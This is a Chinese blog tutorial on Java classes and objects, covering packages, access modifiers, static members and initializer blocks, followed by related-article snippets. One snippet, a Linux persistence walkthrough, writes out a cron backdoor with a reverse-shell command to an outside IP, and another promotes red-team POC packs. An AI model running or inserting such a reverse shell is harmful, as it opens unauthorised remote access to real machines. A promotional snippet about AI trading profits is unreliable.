Java类和对象(2)(重点*)

news2024/11/13 6:32:30

封装:

        面向对象程序三大特性:封装、继承、多态。而类和对象阶段,主要研究的就是封装特性。何为封装呢?简单来说就是套壳屏蔽细节
        封装:将数据和操作数据的方法进行有机结合,隐藏对象的属性和实现细节,仅对外公开接口来和对象进行交互

封装拓展包::

        在面向对象体系中,提出了一个软件包的概念,即:为了更好的管理类,把多个类收集在一起成为一组,称为软件。有点类似于目录。

        在Java 中也引入了包, 包是对类、接口等的封装机制的体现,是一种对类或者接口等的很好的组织方式 ,比如:一个包中的类不想被其他包中的类使用。包还有一个重要的作用: 在同一个工程中允许存在相同名称的类,只要处在不同的包中即可。
        发现每次使用一些引用的时候,实例化对象时,都需要调用一些包:

         

这些包是什么呢?就要找到相关路径,java.util路径底下。

这个文件夹需要在jdk中找到src底下的java中的util中:

最后找到Scanner类,可以打开看:

其实也是一个定义类,用的时候需要导包,然后实例化对象使用!!

自定义包:

        当然我们也可以进行一个简单的创建包,在包中定义类,需要的时候可以导包使用。

1、创建包:

2、给包起名字:

        包名需要尽量指定成唯一的名字, 通常会用公司的域名的颠倒形式 ( 例如 com.bit.demo1 ):
通过查看发现这个文件夹放在了指定的位置上!

定义一个类:

当我在其他包中调用该类的时候就会出现:

红色的提示!!!!

所以此时有两种解决方案:

1、在实例化的时候,直接写清楚该类的路径:

2、导包!!

导入该类的具体路径!

访问限定符:

        Java中主要通过类和访问权限来实现封装: 类可以将数据以及封装数据的方法结合在一起 ,更符合人类对事物的认知,而访问权限用来控制方法或者字段能否直接在类外使用 Java 中提供了四种访问限定符:

public :可以理解为一个人的外貌特征,谁都可以看得到
default: 对于自己家族中 ( 同一个包中 ) 不是什么秘密,对于其他人来说就是隐私了
private :只有自己知道,其他人都不知道

包的访问权限:

        那么问题是:刚刚举的Date的例子当中,我可以在其他包中的方法中实例化Date,且大家有没有注意到我在构建Date的时候不论是成员变量还是构造方法,我都使用的是public开头。

        那如果将其中的一些改为private会是什么样的结果呢?

public class Date {
   private int year;
   private int month;
   private int day;
   public Date(int year,int month,int day){
       this.day = day;
       this.month = month;
       this.year = year;
       System.out.println(year+" "+month+" "+day);
   }
   private void setDate(int x){
       year = x;
   }
}

 将类的成员变量都改为私有的,将其中的一个方法改为私有的。

发现虽然我导入相关的包了,也可以实例化对象,但是就是调用不了对象中的private修饰的变量和方法!

这里就体现了封装的意义,我们一般构建类的时候都是将其成员变量进行私有化,然后类中的方法式公开的,所以想要对对象中的成员变量进行修改的话,只能借助类中的方法。

public int getYear() {
    return year;
}

public void setYear(int year) {
    this.year = year;
}

public int getMonth() {
    return month;
}

public void setMonth(int month) {
    this.month = month;
}

public int getDay() {
    return day;
}

public void setDay(int day) {
    this.day = day;
}

这里行代码就可以对类中的成员变量进行赋值并且如果需要也可以打印出来。

(对成员变量进行保护)

当然大家可以去试试其他的访问限定符!!!!

 static成员:

 static修饰的成员变量:

        如果一个成员变量被static修饰会带来什么样的影响?

        可以以一个类举例:

class Dog{
    public String name;
    public String color;
    public void barks(){
        System.out.println("汪汪汪!");
    }
    public Dog(){
        System.out.println("这是一只构造方法的狗");
    }
}

 还是拿Dog这个类来举例。              

此时在main方法中实例化对象:

 

通过调试发现这只狗的这两个成员变量是存在的。

那如果在成员变量前+static会是怎样的呢?

继续调试观察:

发现很严重的问题,成员变量不见了!!!

成员变量去哪了?

那此时我能不能调用成员变量呢?

揭开面纱:

static 修饰的成员变量,称为静态成员变量 ,静态成员变量最大的特性: 不属于某个具体的对象,是所有对象所共 享的
【静态成员变量特性】
1. 不属于某个具体的对象,是类的属性,所有对象共享的, 不存储在某个对象的空间中
2. 既可以通过对象访问,也可以通过类名访问,但一般更推荐使用类名访问
3. 类变量存储在方法区当中
4. 生命周期伴随类的一生 ( 即:随类的加载而创建,随类的卸载而销毁 )

 真相大白,原来被static修饰的成员变量放在了方法区中,进而成了共享成员。

既然是共享成员的话,那当然可以调用的。

发现还是可以修改的,只不过这里推荐用类名直接访问。

那如果我不去实例化对象可不可以访问呢?

发现了!!还是可以访问滴。(相当于直接可以对类中的成员变量就地初始化)

static修饰成员方法:

        static修饰成员方法,其实和static修饰成员方法是一样的,一般静态成员变量是通过静态成员方法进行访问!

        

public class Student {
// ...
private static String classRoom = "Bit306" ;
// ...
public static String getClassRoom (){
return classRoom ;
}
}
public class TestStudent {
public static void main ( String [] args ) {
System . out . println ( Student . getClassRoom ());
}
}

输出:Bit306

静态方法特性
1. 不属于某个具体的对象,是类方法
2. 可以通过对象调用,也可以通过类名 . 静态方法名 (...) 方式调用,更推荐使用后者
3. 不能在静态方法中访问任何非静态成员变量
4.静态方法中不能调用任何非静态方法,因为非静态方法有 this 参数,在静态方法中调用时候无法传递 this 引用
例如:
 

 

public static String getClassRoom (){
System . out . println ( this );
return classRoom ;
}
// 编译失败: Error:(35, 28) java: 无法从静态上下文中引用非静态 变量 this
public static String getClassRoom (){
age += 1 ;
return classRoom ;
}
// 编译失败: Error:(35, 9) java: 无法从静态上下文中引用非静态 变量 age

  static成员变量初始化:

   1 静态成员变量的初始化分为两种:就地初始化 和 静态代码块初始化

        

public class Student {
private String name ;
private String gender ;
private int age ;
private double score ;
private static String classRoom = "Bit306" ;
// ...
}

 2. 静态代码块初始化

代码块:

代码块概念以及分类

使用 {} 定义的一段代码称为代码块 。根据代码块定义的位置以及关键字,又可分为以下四种:
普通代码块
构造块
静态块
同步代码块(后续讲解多线程部分再谈)

普通代码块:

普通代码块:定义在方法中的代码块。

public class Main {
public static void main ( String [] args ) {
{ // 直接使用 {} 定义,普通方法块
int x = 10 ;
System . out . println ( "x1 = " + x );
}
int x = 100 ;
System . out . println ( "x2 = " + x );
}
}
// 执行结果
x1 = 10
x2 = 100


        

 代码块里面的x和外边定义的x是不一样的!(括号里面的是局部变量!)

 构造代码块:

构造块:定义在类中的代码块 ( 不加修饰符 ) 。也叫: 实例代码块 构造代码块一般用于初始化实例成员变量
class Dog{
    public String name;
    /**
     * 构造代码块
     */
    public String color;
    {
        this.name = "huahua";
        this.color = "black";
        System.out.println( "instance init()");
    }
    public void barks(){
        System.out.println(name+"汪汪汪!");
    }
    public Dog(){
        System.out.println("这是一只构造方法的狗");
    }
    //该方法赋值失效
    public static void setDog(String name,String color){
//        name = name;
//        color = color;
    }

        那么初始化结束了,那么如果实例化对象之后,究竟是先打印代码块里面的内容?还是先打印构造方法的内容呢?

 如果构造块放在构造方法的前面时:

发现先打印的时构造方法里面的内容!!

所以综上:

先打印是代码块,之后就再打印构造方法的内容!!

那么如果交换一下顺序呢?

class Dog{
    public String name;
    /**
     * 构造代码块
     */
    public String color;
    public void barks(){
        System.out.println(name+"汪汪汪!");
    }
    public Dog(){
        System.out.println("这是一只构造方法的狗");
    }
       {
        this.name = "huahua";
        this.color = "black";
        System.out.println( "instance init()");
    }
    }

发现没有变化,所以综上:

打印的顺序为;代码块、构造方法!

 

静态代码块:

使用static定义的代码块称为静态代码块。一般用于初始化静态成员变量。

class Dog{
    public String name;

    public static String color;
    public void barks(){
        System.out.println(name+"汪汪汪!");
    }
    public Dog(){
        System.out.println("这是一只构造方法的狗");
    }
//构造代码块
    {
        this.name = "huahua";
        System.out.println( "instance init()");
    }
//静态代码块
    static{
        color = "black";
        System.out.println("static instance init()");
    }
}

那么打印顺序又会是怎么样的呢?

此时发现还是先打印代码块的内容,究竟是先打印那个代码块呢?

此时交换两个代码块:

class Dog{
    public String name;

    public static String color;
    public void barks(){
        System.out.println(name+"汪汪汪!");
    }
    public Dog(){
        System.out.println("这是一只构造方法的狗");
    }
//静态代码块
    static{
        color = "black";
        System.out.println("static instance init()");
    }
//构造代码块
    {
        this.name = "huahua";
        System.out.println( "instance init()");
    }
}

综上:

实例化对象之后的打印顺序:

静态代码块  ->  构造代码块 ->  构造方法!!

注意事项
静态代码块不管生成多少个对象,其只会执行一次
静态成员变量是类的属性,因此是在 JVM 加载类时开辟空间并初始化的
如果一个类中包含多个静态代码块,在编译代码时,编译器会按照定义的先后次序依次执行 ( 合并 )
实例代码块只有在创建对象时才会执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2119452.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

为什么用Redis?说说Redis的线程模型

使用Redis存储相比直接使用Java内存的Map有以下几个优势: 持久化: Redis支持数据持久化,即使发生服务器重启或意外宕机,数据仍然可以被恢复。而使用Java内存的Map,当应用程序关闭或重启时,数据将会丢失。…

一个工程要兼容mysql8和mysql5

将mysql8原本jar包的jdbc文件夹删除,然后将mysql5 jar包的jdbc文件夹和fabric文件夹拉到mysql8的jar包下,记得别把jar包解压再压缩,以避免不必要的错误,直接用7-zip打开压缩包,然后拖拽操作,然后完美解决&a…

Java:类和方法(1)

一 类和对象分别是什么 1.类(class) 类是Java中的一种蓝图或模板,它定义了对象的属性(字段)和行为(方法)。你可以把类看作是一个抽象的概念,它描述了某类事物的共性。 class 类名…

硬件工程师笔试面试——IGBT

目录 7、IGBT(绝缘栅双极晶体管) 7.1 基础 IGBT结构引脚图 IGBT实物图 7.1.1 概念 7.1.2 结构及原理 7.1.3 IGBT的安全工作区 7.1.4 IGBT分类 7.1.5 IGBT优缺点 7.2 相关问题 7.2.1 如何提高IGBT的开关速度和效率? 7.2.2 IGBT在太阳能光伏系统中的作用是什么,它如…

3GPP R18 Network energy savings(NES) 之cell DTX/DRX

在TR 21.918中可以看到cell DTX/DRX是Network energy savings(NES) for NR 的一部分,其中还包括 SSB-less SCell operation for inter-band CA等等其他内容,其相关描述如下 网络节能是 5G/NR 成功的关键,由此可以减少对环境的影响(温室气体排放)并节省运营成本。RAN WG 进…

ICE 8月各项板块盈利报告,人工智能与高频交易驱动稳定收益

Intercontinental Exchange Inc.(ICE.AI)近日发布了8月份市场交易报告和盈利数据,于8月份通过其先进的人工智能算法和高频交易系统,再次证明了在快速变化的金融市场中实现稳定收益的能力。凭借智能化的交易决策和超高的交易执行速度,ICE.AI帮助每一位用户在全球市场中获得了显著…

基于人工智能的智能垃圾分类系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据预处理模型训练与预测应用场景结论 1. 引言 随着环保意识的提升,垃圾分类已经成为许多城市的重点任务。然而,传统的人工垃圾分类效率低下,容易出…

机器学习:opencv--图像形态学

目录 前言 一、常用形态学操作 二、腐蚀和膨胀 1.图像腐蚀 2.图形膨胀 三、开运算和闭运算 1.开运算 2.闭运算 四、顶帽和黑帽 1.顶帽 2.黑帽 五、梯度运算 总结 前言 图像形态学是一种用于处理和分析图像形状和结构的技术。 一、常用形态学操作 膨胀&#xff08…

【CanMV K230】快速线性回归(巡线)

【CanMV K230】快速线性回归(巡线) 什么是快速线性回归快速线性回归应用领域1.机器人竞赛2.自动引导车(AGV):3.智能交通系统: K230应用相关函数官方例程实现图像在HDMI显示器进快速线性回归(巡线…

C++基础知识6 vector

vector 1.vector的介绍及使用1.1 vector的介绍1.2 vector的使用1.2.1 vector的定义1.2.2 vector iterator 的使用1.2.3 vector 常用的接口1.2.4 vector 空间增长问题1.2.4 vector 迭代器失效问题。(重点) 2.vector模拟实现 1.vector的介绍及使用 1.1 ve…

数据分析-埋点

1、数据埋点的定义 针对特定用户行为或事件进行捕获、处理何发送的相关技术及其实施过程。 2、数据埋点的原理 埋点是数据采集的重要方式。通过在页面上植入代码,监控用户行为(例:页面加载、按钮点击等)。用户一旦触发了该事件,就会根据埋点信息将相关数…

Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!“#Linux系统编程《网盘项目》

"Linux网盘,编程者的选择,让技术为数据服务,创造无限价值!"#Linux系统编程《网盘项目》 前言预备知识一、 项目功能二、 程序基本框架2.1 服务器程序流图2.2 客户端程序流图 三、 程序代码解析3.1 服务器代码解析3.1.1 …

Spring6学习笔记3:AOP

文章目录 1 场景模拟1.1 声明接口1.2 创建实现类1.3 创建带日志功能的实现类1.4 提出问题 2 代理模式2.1 概念2.2 静态代理2.3 动态代理2.4 测试 3 AOP概念及相关术语3.1 概述3.2 相关术语3.2.1 横切关注点3.2.2 通知(增强)3.2.3 切面3.2.4 目标3.2.5 代…

初始MYSQL数据库(4)—— “不一样的“新增与查询

找往期文章包括但不限于本期文章中不懂的知识点: 个人主页:我要学编程(ಥ_ಥ)-CSDN博客 所属专栏: MYSQL 目录 新增 查询 聚合查询 聚合查询的相关练习 GROUP BY子句 HAVING 联合查询 内连接 外连接 自连接 子查询 合并查询…

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一:权限维持-Linux-定时任务-Cron后门 linux的计时任务,配置文件再/etc/crontab下 创建后门文件,这里可以创建成隐藏文件 vim /etc/.back.sh 反弹shell的内容 #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&…

猫咪掉毛怎么处理?希喂、米家、范罗士宠物空气净化器用哪款?

我朋友在大学里养了两年猫,刚开始养的时候全寝都很喜欢,甚至隔壁宿舍的都来看,而且猫咪很亲人,没有对别人哈气,一片其乐融融的情景。 但是养了三个月之后,宿舍矛盾开始爆发,有一位舍友和她吵了…

博科测试业绩有所承压:资产负债率远高同行,连年分红后再补流

​ 《港湾商业观察》施子夫 王璐 日前,北京博科测试系统股份有限公司(以下简称,博科测试)提交了注册申请,其距离创业板上市更近一步。 时间线上,早在2022年4月21日,博科测试就递交招股书&…

goby/xray批量导入自定义poc(附2024红队POC)

自定义xray2024最新公开poc &#xff1a;夸克网盘分享 Xray Xray 官方文档 介绍 - xray Documentation 基础爬虫模式进行漏洞扫描 xray webscan --basic-crawler <URL> --html-output xray-crawler-testphp.html 基础模式进行漏洞扫描&#xff0c;不使用爬虫 xray …

VS Studio2022 最新的mission planner二次开发环境搭建 所有资源都在自己亲测 自己一步步搞出来的花了1个月(小白转行版

文章目录 1. 环境要求1.1 VS Studio下载1.2 Mission Planner2 Mission Planner打包msi(使用使用VisualStudio2022插件(Visual Studio Installer Projects 2022))3 打开设计器FlightData.cs1. 环境要求 Win10以上(目前实测了11,10也可以的) 1.1 VS Studio下载 VS Studio20…

Redis主从数据同步过程:命令传播、部分重同步、复制偏移量等

请记住胡广一句话&#xff0c;所有的中间件所有的框架都是建立在基础之上&#xff0c;数据结构&#xff0c;计算机网络&#xff0c;计算机原理大伙一定得看透&#xff01;&#xff01;~ 1. Redis数据同步 1.1 数据同步过程 大家有没想过为什么Redis多机要进行数据同步&#…